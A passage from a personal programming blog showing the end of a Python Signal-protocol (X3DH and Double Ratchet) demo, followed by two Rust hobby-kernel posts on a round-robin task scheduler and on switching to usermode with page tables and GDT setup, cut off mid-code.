        # receive Alice's new public key and use it to perform a DH
        self.dh_ratchet(alice_public_key)
        key, iv = self.recv_ratchet.next()
        # decrypt the message using the new recv ratchet
        msg = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(cipher))
        print('[Bob]\tDecrypted message:', msg)


class Alice(object):
    # snip

    def send(self, bob, msg):
        key, iv = self.send_ratchet.next()
        cipher = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(msg))
        print('[Alice]\tSending ciphertext to Bob:', b64(cipher))
        # send ciphertext and current DH public key
        bob.recv(cipher, self.DHratchet.public_key())

    def recv(self, cipher, bob_public_key):
        # receive Bob's new public key and use it to perform a DH
        self.dh_ratchet(bob_public_key)
        key, iv = self.recv_ratchet.next()
        # decrypt the message using the new recv ratchet
        msg = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(cipher))
        print('[Alice]\tDecrypted message:', msg)


alice = Alice()
bob = Bob()

# Alice performs an X3DH while Bob is offline, using his uploaded keys
alice.x3dh(bob)

# Bob comes online and performs an X3DH using Alice's public keys
bob.x3dh(alice)

# Initialize their symmetric ratchets
alice.init_ratchets()
bob.init_ratchets()

# Initialise Alice's sending ratchet with Bob's public key
alice.dh_ratchet(bob.DHratchet.public_key())

# Alice sends Bob a message and her new DH ratchet public key
alice.send(bob, b'Hello Bob!')

# Bob uses that information to sync with Alice and send her a message
bob.send(alice, b'Hello to you too, Alice!')

Finally, this is the output of the program:

[Alice]	Send ratchet seed: vBwolG3I276Krq85ykTHdAlVjJMD+s1zACNqk+0BNyI=
[Alice]	Sending ciphertext to Bob: vDT2BR/r00LIAVLbdhwpKw==
[Bob]	Recv ratchet seed: vBwolG3I276Krq85ykTHdAlVjJMD+s1zACNqk+0BNyI=
[Bob]	Send ratchet seed: qJQFz20nSyy0dSvDm1LtJj3LyEUcBMRSKZvAJeXpzYI=
[Bob]	Decrypted message: b'Hello Bob!'
[Bob]	Sending ciphertext to Alice: Qma+DBBwlVaCQNKaSRBfRIfXw1L3X1KsX/h1IMeWMxk=
[Alice]	Recv ratchet seed: qJQFz20nSyy0dSvDm1LtJj3LyEUcBMRSKZvAJeXpzYI=
[Alice]	Send ratchet seed: GzOTsxpBFbzSkKL6iY1IWjilL6+UStA3iMWoUSjBGRo=
[Alice]	Decrypted message: b'Hello to you too, Alice!'

The message is being encrypted, sent over the server to Bob along with Alice’s DH ratchet public key. Bob uses that information to update his receiving chain so that he can decrypt the message. He then goes on to turn his own DH ratchet, updating his sending chain, and sends a reply back to Alice along with his new public key. Alice can then do the same process to decrypt her received message and send a new one of her own.

Conclusions

Hope I did a good job of explaining this, and you were able to follow along! I ignored many of the finer details, such as out-of-order messages, rooms with multiple users etc. However I believe the code is enough to demonstrate the elegance of the algorithm in a few lines and to provide a simple working example.

Rust-OS Kernel - Task scheduler

2020-02-22T00:00:00+00:00

This post is about writing a simple, round-robin task scheduler for my Rust kernel. It builds on some concepts I wrote about in my previous post: To userspace and back!

Source code: https://github.com/nikofil/rust-os and in particular the scheduler.rs file

So, we’ve made it this far. We’ve managed to jump to userspace and have it call the kernel. That’s quite boring though! Our kernel code is still tightly coupled with the usermode program: It jumps to a specified point in the code, and is called back shortly after. That’s why we need a scheduler, so that programs can execute other programs and we have something that resembles a real kernel. Of course we have nothing to execute yet - we’d need files for that, which need a filesystem! That will come later. First, let’s make our kernel work with 2 predefined processes.

Userspace processes

First of all, let’s make our 2 processes. These should normally be stored on the filesystem, but until we have a filesystem we can just make two functions that we’ll jump to in usermode. We already have a syscall that prints its arguments to the screen.

Then we can make our process funcs. They’re going to be pretty simple: They will initialize their registers to some distinct value, so that we can see that these values stay as they are and that we don’t mess them up when switching between them. Then they will spin for a bit so that we don’t flood the console with messages, and after a bit they’ll perform a syscall. Finally, they’ll do the same thing all over again!

Simple user processes

Here are our usermode processes:

pub unsafe fn userspace_prog_1() {
    asm!("\
        mov rbx, 0xf0000000
        prog1start:
        push 0x595ca11a // keep the syscall number in the stack
        mov rbp, 0x0 // distinct values for each register
        mov rax, 0x1
        mov rcx, 0x3
        mov rdx, 0x4
        mov rdi, 0x6
        mov r8, 0x7
        mov r9, 0x8
        mov r10, 0x9
        mov r11, 0x10
        mov r12, 0x11
        mov r13, 0x12
        mov r14, 0x13
        mov r15, 0x14
        xor rax, rax
        prog1loop:
        inc rax
        cmp rax, 0x4000000
        jnz prog1loop // loop for some milliseconds
        pop rax // pop syscall number from the stack
        inc rbx // increase loop counter
        mov rdi, rsp // first syscall arg is rsp
        mov rsi, rbx // second syscall arg is the loop counter
        syscall // perform the syscall!
        jmp prog1start // do it all over
    ":::: "volatile", "intel");
}

pub unsafe fn userspace_prog_2() {
    asm!("\
        mov rbx, 0
        prog2start:
        push 0x595ca11b // keep the syscall number in the stack
        mov rbp, 0x100 // distinct values for each register
        mov rax, 0x101
        mov rcx, 0x103
        mov rdx, 0x104
        mov rdi, 0x106
        mov r8, 0x107
        mov r9, 0x108
        mov r10, 0x109
        mov r11, 0x110
        mov r12, 0x111
        mov r13, 0x112
        mov r14, 0x113
        mov r15, 0x114
        xor rax, rax
        prog2loop:
        inc rax
        cmp rax, 0x4000000
        jnz prog2loop // loop for some milliseconds
        pop rax // pop syscall number from the stack
        inc rbx // increase loop counter
        mov rdi, rsp // first syscall arg is rsp
        mov rsi, rbx // second syscall arg is the loop counter
        syscall // perform the syscall!
        jmp prog2start // do it all over
    ":::: "volatile", "intel");
}

Pretty straightforward - they’re almost identical except for the different numbers. We also give the syscall rsp and rbx as parameters, so that they get printed to the screen.

Executing a user process

We can’t multi-task yet but, since the previous post, we can jump to usermode and see what the output of only one of these looks like. We first re-define the code that sets up the page table, enables it and jumps to it as a function.

pub unsafe fn exec(fn_addr: mem::VirtAddr) {
    let userspace_fn_phys = fn_addr.to_phys().unwrap().0; // virtual address to physical
    let page_phys_start = (userspace_fn_phys.addr() >> 12) << 12; // zero out page offset to get which page we should map
    let fn_page_offset = userspace_fn_phys.addr() - page_phys_start; // offset of function from page start
    let userspace_fn_virt_base = 0x400000; // target virtual address of page
    let userspace_fn_virt = userspace_fn_virt_base + fn_page_offset; // target virtual address of function
    serial_println!("Mapping {:x} to {:x}", page_phys_start, userspace_fn_virt_base);
    let mut task_pt = mem::PageTable::new(); // copy over the kernel's page tables
    task_pt.map_virt_to_phys(
        mem::VirtAddr::new(userspace_fn_virt_base),
        mem::PhysAddr::new(page_phys_start),
        mem::BIT_PRESENT | mem::BIT_USER); // map the program's code
    task_pt.map_virt_to_phys(
        mem::VirtAddr::new(userspace_fn_virt_base).offset(0x1000),
        mem::PhysAddr::new(page_phys_start).offset(0x1000),
        mem::BIT_PRESENT | mem::BIT_USER); // also map another page to be sure we got the entire function in
    let mut stack_space: Vec<u8> = Vec::with_capacity(0x1000); // allocate some memory to use for the stack
    let stack_space_phys = mem::VirtAddr::new(stack_space.as_mut_ptr() as *const u8 as u64).to_phys().unwrap().0;
    // take physical address of stack
    task_pt.map_virt_to_phys(
        mem::VirtAddr::new(0x800000),
        stack_space_phys,
        mem::BIT_PRESENT | mem::BIT_WRITABLE | mem::BIT_USER); // map the stack memory to 0x800000

    task_pt.enable(); // enable page table
    jmp_to_usermode(mem::VirtAddr::new(userspace_fn_virt),
                    mem::VirtAddr::new(0x801000)); // jump to start of function
    drop(stack_space); // make sure the stack space doesn't get free'd earlier, as the process needs it to run
}

Calling it then is simply:

let userspace_fn_1_in_kernel = mem::VirtAddr::new(userspace::userspace_prog_1 as *const () as u64);
unsafe {
    scheduler::exec(userspace_fn_1_in_kernel);
}

We’re now getting some result on the console, as we expected. I changed the syscall code to print the arguments in hexadecimal here, so that we can better see that their values match with the counter and the user program’s stack pointer.

This is what we expected to see:

rax is the syscall number 0x595ca11a
The first parameter, in rdi, is rsp which matches the starting stack pointer (0x801000)
The second parameter, stored in rsi, is the counter of how many times we called the syscall (starting with 0xf0000000 as defined above)
The third parameter is stored in rdx (as we follow the Linux convention for syscalls), which happens to be 4
Similarly the fourth parameter is stored in r10, which happens to be 9

All in all, the results are good! Let’s move on to defining our processes, so that we can move between them.

Building a Task struct

The task context

What is a process? How can we take the processor from executing one process to another, and then back, while giving the processes the illusion they haven’t been interrupted at all?

The most important pieces of information that we need to keep about the state of a process at any given time are its registers and memory. Other things might be needed in the future, such as a mapping of file handles in the program to actual files in the filesystem, but we don’t even have a filesystem yet!

When we want to swap out the currently executing program and swap in the next one to be executed, the first thing we must do is save the previously executing program’s registers. That’s because we want to be able to use the registers in our kernel without losing the values the program has stored in them. Otherwise the program could never work if, at any moment, it could be interrupted and its registers changed. The set of all registers that we want to save is called the task context and will be the first struct that we have to define, with a field for each register:

#[derive(Debug, Clone)]
pub struct Context {
    pub rbp: u64,
    pub rax: u64,
    pub rbx: u64,
    pub rcx: u64,
    pub rdx: u64,
    pub rsi: u64,
    pub rdi: u64,
    pub r8: u64,
    pub r9: u64,
    pub r10: u64,
    pub r11: u64,
    pub r12: u64,
    pub r13: u64,
    pub r14: u64,
    pub r15: u64,
    pub rip: u64,
    pub cs: u64,
    pub rflags: u64,
    pub rsp: u64,
    pub ss: u64,
}

This particular order of the registers in the struct (particularly the last few) will be important soon.

Upon taking back control from an executing program, saving its context is the first thing we need to do.

Other info to save

Of course, we can’t have programs reading each other’s memory! Virtual memory is also a part of the context, however we don’t need to save anything each time we switch contexts. Why is that? Well, because the virtual memory of a process is defined by the page table that is assigned to that process - this way we can tell apart the memory of multiple processes while they might all see the same virtual addresses. We only define the page table once, when starting the process. Then we hand that process the keys and let it do what it wishes with its virtual memory, and the processor chugs along and translates the virtual addresses to physical. Therefore we don’t need to save anything when switching contexts: We know the address of the page table of each process and we just need to restore that address to the appropriate register (cr3) when switching.

Besides these things, a process needs a stack to run. That’s where local variables, function parameters and return values are stored. The stack gets no special treatement from the processor: the kernel is responsible for making some room for it in the memory and passing the pointer to the program in the rsp register. How do we make that room in the memory? Well, we just allocate an array of bytes! And what is an array of bytes in Rust? Simply a Vec<u8>.

We have to keep that Vec somewhere, however. We don’t want Rust to consider it unused and reclaim the memory before the process is done with it. What better place to keep it than our upcoming Task struct, then?

You might notice a disrepancy: We didn’t need to allocate any other memory for the program. At this point the program memory (besides the stack) only contains the program code - but where does that memory come from?

The answer is that we’re cheating a bit here: At this point all our userspace program code is simply functions in our kernel. We take their physical address, map it to a virtual address like 0x400000, jump to it while in ring 3 and call it a day. The compiler makes sure these functions are somewhere in the memory, and it doesn’t let anyone mess with that piece of memory. So we don’t need to explicitly allocate any memory for the code. We will have to, however, once we want to load arbitrary programs from a filesystem.

But anyway, back to the stack. The stack grows downwards: if you keep pushing variables to it, the rsp register which points to the last element in the stack will decrease. Therefore, the initial value of rsp will be a pointer to the first byte after the stack space. This is essentially the virtual address to which we mapped the stack, plus the size of the stack.

Finally, the program needs to start somewhere. This also depends on what virtual address we map it to. Because we can only map pages and the function is not guaranteed to start on the beginning of a page, the program might not start at the address we map its page to but some bytes later. This is another address that we need to keep so that we can set rip (the instruction pointer) to it when first starting the program.

For the last two, I use an enum called TaskState for storing these virtual addresses (rip and rsp) or storing the full Context of an already started program. That’s because, before starting the program, we don’t need the full context: We start it with a default one. We only need to keep these two virtual addresses so that we know where to start it. Afterwards, these addresses are no longer needed. Instead we only need the Context that we saved when we last suspended the program.

The final Task struct

Having said all that, in all its glory, here is our Task struct!

#[derive(Clone, Debug)]
enum TaskState { // a task's state can either be
    SavedContext(Context), // a saved context
    StartingInfo(mem::VirtAddr, mem::VirtAddr), // or a starting instruction and stack pointer
}

struct Task {
    state: TaskState, // the current state of the task
    task_pt: Box<mem::PageTable>, // the page table for this task
    _stack_vec: Vec<u8>, // a vector to keep the task's stack space
}

impl Task {
    pub fn new(
        exec_base: mem::VirtAddr,
        stack_end: mem::VirtAddr,
        _stack_vec: Vec<u8>,
        task_pt: Box<mem::PageTable>,
    ) -> Task {
        Task {
            state: TaskState::StartingInfo(exec_base, stack_end),
            _stack_vec,
            task_pt,
        }
    }
}

impl Display for Task {
    fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result {
        unsafe {
            write!(f, "PT: {}, Context: {:x?}", self.task_pt.phys_addr(), self.state)
        }
    }
}

Simple, huh? We have the right structure, but it’s still missing all its functionality.

Interrupting the running process

We’re very close, now. We have the structures needed to define a process, we just need to be able to save and restore a context which requires some assembly in order to make sure that Rust doesn’t mess with the registers of the process before we can save them. Afterwards things are quite straightforward.

Timer interrupt

In order to get control back from the running program, we’re going to use the timer interrupt caused by the Programmable Interval Timer. Another option is to use the newer APIC timer but I will use the former, as I’ve already set it up following https://os.phil-opp.com/hardware-interrupts/.

To reiterate, typically hardware interrupt 32 is used for the PIT. To start with, let’s see what state the processor is in right after performing a timer interrupt. I changed my timer handler function to only contain a nop and set a breakpoint on it in GDB. This is the state of the processor at that point:

Almost all of the registers have the same values as they did in a moment before, except for a few very important ones:

rip points to the interrupt handler, instead of the user program
rsp points to a new stack
cs has changed so that our CPL is 3 (we are in kernel mode)
Interrupts have been disabled, as the Interrupt Descriptor Table (IDT) entry for the timer interrupt states that they should be

We’ll have to restore these things after handling this interrupt. In this case (timer interrupt) we won’t restore them now, though. Instead we’ll store them in a Context, which we’ll use at a later time when we want to give control back to this program. To do that, the processor has pushed the old values of all the registers that it changed to our stack! This is what the stack in the above image contains:

rsp offset	saved register
+0	rip
+8	cs
+16	rflags
+24	rsp
+32	ss

(Note that each one is 8 bytes long, so two rows in the image above)

How did the processor find its new rip, rsp and cs? Through the IDT and GDT! The IDT contains the address of the handler for each interrupt, which the processor jumps to. It also contains what the new code segment should be. rsp is slightly different: it depends on the GDT’s privilege stack table: When an interrupt causes the processor to change to CPL #n, then the n-th entry in the privilege stack table is used to determine the new rsp. This means the first (index 0) entry is used in our case. For me the following vector holds the stack used:

pub static mut PRIV_TSS_STACK: [u8; STACK_SIZE] = [0; STACK_SIZE];

GDB helpfully tells us the offset for each entry in the stack! As my stack is 8192 bytes large, you can see the very first thing to be pushed (the ss register) is right at the end of this stack.

Saving the context

We now know what we have to do: We need to save every register in the Context struct before it has a chance to change! The CPU already saved some important ones for us, now we need to save the rest. As rsp is saved for us and we have a new stack to use, we can save these registers in the stack, in the opposite order from which they appear in Context. rip, cs, rflags, rsp and ss are already there so we just need to save the rest.

Afterwards, what rsp points to is exactly the struct that our Context struct describes! All the registers are in the right place. Therefore, we can get its value and use it as a *const Context to save in our Task struct. Then we subtract some space from rsp to give the timer handler some space for local variables, as to not overwrite what we just created.

#[naked]
#[inline(always)]
pub unsafe fn get_context() -> *const Context {
    let ctxp: *const Context;
    asm!("push r15; push r14; push r13; push r12; push r11; push r10; push r9;\
    push r8; push rdi; push rsi; push rdx; push rcx; push rbx; push rax; push rbp;\
    mov $0, rsp; sub rsp, 0x400;"
    : "=r"(ctxp) ::: "intel", "volatile");
    ctxp
}

Restoring the context

Restoring the context is then simply a matter of moving rsp to the Context pointer and doing the exact opposite process from what we did above. We pop all of the registers that we pushed above and, finally, use the iretq instruction to restore the 5 registers that the processor saved. That is what the instruction was named after: returning from an interrupt, as its functionality in this case is the inverse of what the processor does on an interrupt.

#[naked]
#[inline(always)]
pub unsafe fn restore_context(ctxr: &Context) {
    asm!("mov rsp, $0;\
    pop rbp; pop rax; pop rbx; pop rcx; pop rdx; pop rsi; pop rdi; pop r8; pop r9;\
    pop r10; pop r11; pop r12; pop r13; pop r14; pop r15; iretq;"
    :: "r"(ctxr) :: "intel", "volatile");
}

Testing the procedure

We should now hopefully be able to save and restore the Context of a process. We already have the timer interrupting the process every few milliseconds, so let’s try to save and restore its context. To have a visual confirmation that something happened, I’m also incrementing the value of rdx which gets printed when we perform a syscall.

#[naked]
unsafe extern fn timer2(stack_frame: &mut InterruptStackFrame) {
    let ctx = get_context(); // get current context
    unsafe { (ctx as *mut Context).as_mut().unwrap().rdx += 1; } // increment rdx
    end_of_interrupt(32); // mark timer interrupt as finished so that PIT can interrupt again
    restore_context(&*ctx); // restore current context
}

Let’s see if we can see rdx incrementing:

Yup, we can see rdx take values between 5 and 6. What does this mean?

Since we reset the value of rdx to 4 after each syscall and then we wait for a few ms before performing the next syscall, it means that while we wait the PIT triggers once or twice, causing rdx to increment by that amount. So, our context saving and restoring seems to work with one process! Let’s now try with two.

Scheduling processes

The difficult part is now over. We have all the building blocks to build a simple scheduler without the need to delve into the processor’s internals anymore.

Our scheduler will be fairly simple. We only need a list of the running Tasks and the index of the one running currently, so that we know which one is next. On each timer interrupt we proceed in a round-robin fashion, saving the current context and restoring the next (or in the case a task has not yet started, initalizing it with the given addresses).

We need to have a single static scheduler to keep all this info, for which we’ll use the lazy_static crate. We’ll keep the members of Scheduler behind mutexes so that Rust doesn’t complain about them possibly being accessible from multiple threads. Also, the previously used exec function is a pretty useful method to have in Scheduler. We’ll move it there (renamed to schedule), altering it to only create the page table and not enable it immediately, and saving all the information needed to start the task in a new Task struct.

All in all, here is the code for the Scheduler. It should be simple to understand:

pub struct Scheduler {
    tasks: Mutex<Vec<Task>>,
    cur_task: Mutex<Option<usize>>,
}

impl Scheduler {
    pub fn new() -> Scheduler {
        Scheduler {
            tasks: Mutex::new(Vec::new()),
            cur_task: Mutex::new(None), // so that next task is 0
        }
    }

    pub unsafe fn schedule(&self, fn_addr: mem::VirtAddr) {
        let userspace_fn_phys = fn_addr.to_phys().unwrap().0; // virtual address to physical
        let page_phys_start = (userspace_fn_phys.addr() >> 12) << 12; // zero out page offset to get which page we should map
        let fn_page_offset = userspace_fn_phys.addr() - page_phys_start; // offset of function from page start
        let userspace_fn_virt_base = 0x400000; // target virtual address of page
        let userspace_fn_virt = userspace_fn_virt_base + fn_page_offset; // target virtual address of function
        serial_println!("Mapping {:x} to {:x}", page_phys_start, userspace_fn_virt_base);
        let mut task_pt = mem::PageTable::new(); // copy over the kernel's page tables
        task_pt.map_virt_to_phys(
            mem::VirtAddr::new(userspace_fn_virt_base),
            mem::PhysAddr::new(page_phys_start),
            mem::BIT_PRESENT | mem::BIT_USER); // map the program's code
        task_pt.map_virt_to_phys(
            mem::VirtAddr::new(userspace_fn_virt_base).offset(0x1000),
            mem::PhysAddr::new(page_phys_start).offset(0x1000),
            mem::BIT_PRESENT | mem::BIT_USER); // also map another page to be sure we got the entire function in
        let mut stack_space: Vec<u8> = Vec::with_capacity(0x1000); // allocate some memory to use for the stack
        let stack_space_phys = mem::VirtAddr::new(stack_space.as_mut_ptr() as *const u8 as u64).to_phys().unwrap().0;
        // take physical address of stack
        task_pt.map_virt_to_phys(
            mem::VirtAddr::new(0x800000),
            stack_space_phys,
            mem::BIT_PRESENT | mem::BIT_WRITABLE | mem::BIT_USER); // map the stack memory to 0x800000
        let task = Task::new(mem::VirtAddr::new(userspace_fn_virt),
                             mem::VirtAddr::new(0x801000), stack_space, task_pt); // create task struct
        self.tasks.lock().push(task); // push task struct to list of tasks
    }

    pub unsafe fn save_current_context(&self, ctxp: *const Context) {
        self.cur_task.lock().map(|cur_task_idx| { // if there is a current task
            let ctx = (*ctxp).clone();
            self.tasks.lock()[cur_task_idx].state = TaskState::SavedContext(ctx); // replace its context with the given one
        });
    }

    pub unsafe fn run_next(&self) {
        let tasks_len = self.tasks.lock().len(); // how many tasks are available
        if tasks_len > 0 {
            let task_state = {
                let mut cur_task_opt = self.cur_task.lock(); // lock the current task index
                let cur_task = cur_task_opt.get_or_insert(0); // default to 0
                let next_task = (*cur_task + 1) % tasks_len; // next task index
                *cur_task = next_task;
                let task = &self.tasks.lock()[next_task]; // get the next task
                serial_println!("Switching to task #{} ({})", next_task, task);
                task.task_pt.enable(); // enable task's page table
                task.state.clone() // clone task state information
            }; // release held locks
            match task_state {
                TaskState::SavedContext(ctx) => {
                    restore_context(&ctx) // either restore the saved context
                },
                TaskState::StartingInfo(exec_base, stack_end) => {
                    jmp_to_usermode(exec_base, stack_end) // or initialize the task with the given instruction, stack pointers
                },
            }
        }
    }
}

lazy_static! {
    pub static ref SCHEDULER: Scheduler = Scheduler::new();
}

We can also alter the timer now to do its intended job, that is to save the current Context and restore the next one. We’ve already made the methods necessary for that, so it’s simply a matter of calling the scheduler.

#[naked]
unsafe extern fn timer(_stack_frame: &mut InterruptStackFrame) {
    let ctx = scheduler::get_context();
    scheduler::SCHEDULER.save_current_context(ctx);
    end_of_interrupt(32);
    scheduler::SCHEDULER.run_next();
}

Finally, we can schedule the two usermode programs we created in the start of this post and then start executing them. They should finally be able to run together!

let userspace_fn_1_in_kernel = mem::VirtAddr::new(userspace::userspace_prog_1 as *const () as u64);
let userspace_fn_2_in_kernel = mem::VirtAddr::new(userspace::userspace_prog_2 as *const () as u64);
unsafe {
    let sched = &scheduler::SCHEDULER;
    sched.schedule(userspace_fn_1_in_kernel);
    sched.schedule(userspace_fn_2_in_kernel); // schedule the two methods
    loop {
        sched.run_next(); // run the next task, forever
    }
}

We can see the CPU alternating between the two programs, while maintaining their state:

We can also see the output in the serial console! There, it’s clear that all the registers are properly saved and restored:

This complicated part of the kernel is finally done (until some bugs arise, at least). A nice task to follow up with would be to implement a FAT16 driver so that we finally have a file system, and making the appropriate syscalls so we can execute a binary that lives there.

Rust-OS Kernel - To userspace and back!

2020-02-14T00:00:00+00:00

This post documents my attempts to manage to jump (or return?) from kernel-space to usermode in my Rust kernel so that it can do what a kernel is supposed to actually do: give the CPU to user programs. That’s pretty exciting! In the next part, we’ll even take control back from the programs so that we can implement a scheduler.

Source code: https://github.com/nikofil/rust-os

What the hell is a usermode?

When we are running a program in usermode in a real kernel, life is pretty easy: We don’t need to worry about crashing the entire system, we can pretend the entire virtual memory space belongs to us and we don’t need to care about the GDT and segments. If we need to interact with the rest of the world, we can simply perform a syscall to the kernel to do it for us as we are powerless to do so.

That’s because in usermode a program is limited to only doing processing of data. It can’t communicate with devices, access important registers (ie. Control Registers, such as cr3 used to set up paging tables) or read memory that is on a higher access level. It has to ask the kernel for even the simplest task, such as reading or writing a single character from/to the input/screen. Without doing that, no usermode program could ever have inputs or outputs of any kind.

The kernel has to do all the heavy lifting: It has to set up the environment just perfect for the user program to have all of its information where it expects in order to be able to run. Then, when the user program performs a syscall, it has to make sure to save all of its registers and stack location to be able to restore it later so that a syscall behaves just like a regular call from the program’s perspective, while in reality it’s a much more complex process.

Whenever the kernel wants to give execution to a user program, the process can be summarized into 3 steps:

Enable the page table that has this program’s memory mapped to the correct virtual addresses (as each program might be using the same virtual address, but different physical memory underneath)
Set the cs and ds registers to the proper indexes in the GDT to indicate that we’re currently in Ring3 (usermode)
Set all the appropriate registers and perform an iretq (or sysretq if returning from a syscall)

On the other hand, calling the kernel from usermode is simply a matter of setting the registers to the desired syscall number and parameters and performing a syscall instruction, upon which the kernel has to handle the messy part again.

Let’s look at each one of these steps.

Enabling the page table for the user process

The page table is a structure that allows the kernel to use virtual paging. That means that, when the processor is in long mode the memory addresses almost never correspond to the physical memory address that is used. Instead, the page table is used to lookup which physical page a virtual page corresponds to whenever we store to or load from an address, except for a few special operations. One of these special operations is, of course, setting the register that determines where the page table is: cr3. This register must know the physical location of the (topmost) page table, as otherwise it would have to use itself to resolve the physical location which would be even more confusing!

Creating a new page table

This subject goes quite deeper, with nested page tables and permissions, but I won’t go that deep into that here.

Okay, so our first task is to create a page table for our new user process. We still want to keep the kernel mapped where it’s already loaded, as otherwise the next instruction after loading the page table would (probably) not be there and we would crash. So first order of business is to copy the kernel’s PT entries over to a new one:

impl PageTable {
    pub unsafe fn new() -> Box<PageTable> {
        let mut pt = Box::new(PageTable{ entries: [PTEntry(0); 512] }); // allocate the master PT struct
        pt.entries[0].set_phys_addr(Self::alloc_page()); // allocate page for the first child PT
        pt.entries[0].set_bit(BIT_PRESENT, true);
        pt.entries[0].set_bit(BIT_WRITABLE, true);
        pt.entries[0].set_bit(BIT_USER, true); // entry is present, writable and accessible by user
        let mut pt0 = pt.entries[0].next_pt(); // get the child PT we just allocated
        let cur_pt0 = get_page_table().entries[0].next_pt();
        pt0.entries[3] = cur_pt0.entries[3].clone(); // copy over the entries 3, 4, 5, 6 from the equivalent
        pt0.entries[4] = cur_pt0.entries[4].clone(); // child PT that is currently in use
        pt0.entries[5] = cur_pt0.entries[5].clone(); // these correspond to the addresses our kernel uses
        pt0.entries[6] = cur_pt0.entries[6].clone(); // plus some more, so that the entire physical memory is mapped
        pt
    }
}

What this code does is that it creates a new page table structure which maps the virtual addresses 0xC0000000 to 0x1C0000000 to the same physical memory that the kernel’s page table maps these addresses to. This is exactly 4GiB that the kernel uses not only for its own code, but to also have the entire memory mapped. This means the kernel (and only the kernel) can access physical address x by accessing virtual address 0xC0000000 + x which makes the transition pretty easy. The kernel itself is located pretty early in that memory.

We also allow the page table to be user accessible and writable. This doesn’t mean that necessarily all the virtual addresses that it maps will be writable and user-accessible, as each entry in the page table at this level points to another page table. In these other page tables then we can restrict the write or user-accessible bits as needed.

Great, so we allocated the topmost page table and we have a pointer to it! What do we do with this thing?

We still have to map the virtual memory for the program’s code and stack to physical memory. But first we have to know the physical address where our program begins, in order to be able to map a virtual address to it!

The usermode program

For simplicity’s (ha) sake, my current usermode program is simply another Rust function. It doesn’t have anything to do for now:

pub unsafe fn userspace_prog_1() {
    asm!("\
        nop
        nop
        nop
    ":::: "intel");
}

Mapping the program and the stack to virtual memory

We now have to determine its physical address, and where the physical page that contains it is located (as page tables deal in units of, well, pages). Then we map that page to 0x400000 which is a pretty common place for a program’s entry point (or at least it was in the 32-bit days). It was the first address you used to see when debugging a new program!

let userspace_fn_1_in_kernel = mem::VirtAddr::new(userspace::userspace_prog_1 as *const () as u64);
let userspace_fn_phys = userspace_fn_1_in_kernel.to_phys().unwrap().0; // virtual address to physical
let page_phys_start = (userspace_fn_phys.addr() >> 12) << 12; // zero out page offset to get which page we should map
let fn_page_offset = userspace_fn_phys.addr() - page_phys_start; // offset of function from page start
let userspace_fn_virt_base = 0x400000; // target virtual address of page
let userspace_fn_virt = userspace_fn_virt_base + fn_page_offset; // target virtual address of function
serial_println!("Mapping {:x} to {:x}", page_phys_start, userspace_fn_virt_base);
let mut task_pt = mem::PageTable::new(); // copy over the kernel's page tables
task_pt.map_virt_to_phys(
    mem::VirtAddr::new(userspace_fn_virt_base),
    mem::PhysAddr::new(page_phys_start),
    mem::BIT_PRESENT | mem::BIT_USER); // map the program's code
task_pt.map_virt_to_phys(
    mem::VirtAddr::new(userspace_fn_virt_base).offset(0x1000),
    mem::PhysAddr::new(page_phys_start).offset(0x1000),
    mem::BIT_PRESENT | mem::BIT_USER); // also map another page to be sure we got the entire function in
let mut stack_space: Vec<u8> = Vec::with_capacity(0x1000); // allocate some memory to use for the stack
let stack_space_phys = mem::VirtAddr::new(stack_space.as_mut_ptr() as *const u8 as u64).to_phys().unwrap().0;
// take physical address of stack
task_pt.map_virt_to_phys(
    mem::VirtAddr::new(0x800000),
    stack_space_phys,
    mem::BIT_PRESENT | mem::BIT_WRITABLE | mem::BIT_USER); // map the stack memory to 0x800000

We can now enable this page table! That’s simply a matter of calling task_pt.enable() which does the following:

pub unsafe fn enable(&self) {
    let phys_addr = self.phys_addr().addr();
    asm!("mov $0, %cr3" :: "{rax}"(phys_addr) :: "volatile");
}

cr3 is now set. The virtual memory above 0xC0000000 will be exactly the same, but there’s now memory mapped to 0x400000 and 0x800000!

Setting the GDT entries and MSR registers

The way segment registers (cs, ds, ss etc.) work in protected and long mode is that they are set to an index in the structure called the Global Descriptor Table (GDT) which contains entries for each memory segment we might want to use. These registers were used to solve the problem of accessing different memory regions by early x86 processors before paging was a thing. The way it worked was roughly that each segment started at a specified physical memory address, so instead of using a page table and a virtual address to access the memory you wanted you would use a segment for the base of the so-called linear address and an offset to access the specific value that you wanted. This underwent some changes with the introduction of protected mode which allowed processors to use paging. Nowadays processors are backwards compatible and usually when booting go through real and protected mode before entering 64-bit long mode, which allows us to use (currently) 48 bits for addressing. This is a lot more than the 16 bits segment base plus 16 bits offset that we could use in the segmentation days: using 48 bits we can address up to 256 TiB of memory. Segments are therefore mostly obsolete nowadays. In fact, most of the segment bases are ignored and are forced to be 0 (besides fs and gs which can have nonzero base addresses).

Why do we care about them, then? That’s because segments also define the current privilege level that the processor is in. These privilege levels are also called rings, as each ring has all the privileges of the rings below it so if you visualize it, ring 0 would contain ring 1, which would contain ring 2 etc. Usually only two rings are used: Ring 0 for the kernel and ring 3 for user-space programs. In ring 0 the processor can interact with physical hardware using special instructions, as well as do things like change the loaded page table which would be disastrous if any user-space program could do.

For each instruction, there are 3 privilege levels we must consider to know if it will throw a General Protection Fault:

The CPL is the current level and is defined by the last 2 bits of the cs register (so it can take values of 0 to 3)
The DPL is the descriptor level. It is the minimum CPL that is allowed to access that segment and is stored in the GDT entry that each segment register points to. If DPL > CPL and the memory segment defined by that entry is attempted to be accessed, you get a GPF!
The RPL is the requested level and is defined by the last 2 bits of other segment registers. It works the same way that the DPL does but is stored in the register instead of the entry that it points to. I believe that it’s obsolete as it does the same job as the DPL but is kept around for backwards compatibility. Again, RPL > CPL causes a GPF!

Creating the new GDT entries

If you’ve followed the tutorial at https://os.phil-opp.com/double-fault-exceptions/ you should already have a working GDT structure. We’ll now have to modify that, in order to include entries for both kernel and user-mode segments. Also, for reasons that I’ll explain soon, these entries have to be in a very particular order. This is the way my GDT looks:

lazy_static! {
    static ref GDT: (GlobalDescriptorTable, [SegmentSelector; 5]) = {
        let mut gdt = GlobalDescriptorTable::new();
        let kernel_data_flags = DescriptorFlags::USER_SEGMENT | DescriptorFlags::PRESENT | DescriptorFlags::WRITABLE;
        let code_sel = gdt.add_entry(Descriptor::kernel_code_segment()); // kernel code segment
        let data_sel = gdt.add_entry(Descriptor::UserSegment(kernel_data_flags.bits())); // kernel data segment
